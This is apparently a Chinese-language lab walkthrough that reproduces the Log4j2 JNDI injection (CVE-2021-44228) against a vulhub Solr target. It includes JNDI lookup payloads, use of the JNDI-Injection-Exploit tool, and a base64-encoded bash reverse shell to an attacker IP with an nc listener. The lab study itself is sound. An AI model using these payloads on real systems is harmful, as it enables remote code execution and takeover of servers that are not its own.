Apache Log4j2 lookup JNDI 注入漏洞复现
一样步骤一样操作,准备两台虚拟机,一台靶机ubuntu装载有vulhub,一台攻击机kali,打开vulhub文件夹,这个漏洞在log4j/CVE-2017-5645,我们话不多说,直接丝滑连招
cd log4j/CVE-2021-44228/
sudo docker-compose up -d
sudo docker-compose ps //查看端口位置
攻击机访问http://靶机IP:8983,进来后老规矩嗷,让我康康!四处乱看也是没什么发现,那怎么办呢!诶,这时候f12检查页面,让我检查检查!看看你这个网页正不正常!
查看网络,重新载入一下,看看每个数据包,诶这个时候就会发现有一个数据包存在参数上传,并且URL是在另一个地址。这时候我们可以双击数据包跳转到该处。这时候细心的朋友就会发现下面也有一个上传参数的数据包system,为什么不用那个,因为啊那个是上传系统参数的数据包,有很大的区别,感兴趣可以自己去搜一下,因为本人java也不是很精通,所以就不多嘴了
发现这个数据包意思就是告诉index.html,我不行了!你调用我这个功能,但是我的啥啥啥文件出问题了,不给你用嗷。这时候有过有过js经验的朋友都会知道嗷,编写网站的时候一般都会使用到JNDI这个接口进行目录服务查询,而JNDI中有LDAP的类,他可以用来执行我们的恶意语句,为了方便恶意语句的回显,我们到http://dnslog.cn/获取一个回显URL
然后在刚刚system数据包中可以发现该网站使用的java版本是1.8.0_102
此时我们就可以输入URLhttp://靶机IP:8983/solr/admin/cores?action=$ {jndi:ldap://${sys:java.version}.回显URL} ,这里 $ 前多了个空格自己删掉,因为两个 $ 会变成奇怪的语法,输入后访问过一会就可以在http://dnslog.cn/中发现到回显内容了
java版本对应上了,说明执行命令成功,这时我们需要借助工具来进行进一步利用,在攻击机终端输入命令 //检查符合是否为英文
mkdir JNDI
cd JNDI
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “touch /tmp/hacker” -A “攻击机IP”
然后就会看到工具为我们自动生成的JNDI连接语句,在刚刚我们已经看到了该靶机使用的java版本是JDK1.8,所以我们选择该语句进行执行
回到浏览器,在输入URLhttp://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://攻击机IP:1389/fhhflh}并访问,这时我们的攻击机终端就会收到新的消息,这就代表命令touch /tmp/hacker已经执行成功了,在靶机中输入
sudo docker ps //记住你使用端口容器ID,记前两位就行
sudo docker exec -it 容器ID bash //用前两位就行
ls /tmp
然后就能看到靶机中多出了一个名为hacker的文件,说明什么啊?诶注入成功了
Apache Log4j2 lookup JNDI 注入漏洞利用
这时候有经验的朋友就已经知道该怎么做了,那没有经验的可以继续跟我慢慢做,这时候我们在攻击机终端ctrl+c暂停进程,为了进入靶机内部我们需要编写新的命令语句,使用反弹shell进行连接靶机
bash -i >& /dev/tcp/攻击机机ip/4444 0>&1
将该命令进行base64编码,如果它存在前端检验那么base64可以进行简单的绕过,那么最终的命令就是
bash -c {echo,你的base64编码值}|{base64,-d}|{bash,-i}
然后在终端执行命令 //检查符合是否为英文
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码值}|{base64,-d}|{bash,-i}” -A “攻击机IP”
另启一个终端,输入命令
nc -lvvp 4444
然后浏览器访问URLhttp://靶机IP:8983/solr/admin/cores?action=${jndi:对应JNDI连接语句},然后就可以连接成功了
学习新思想!争做新青年!让我们一起野蛮生长吧!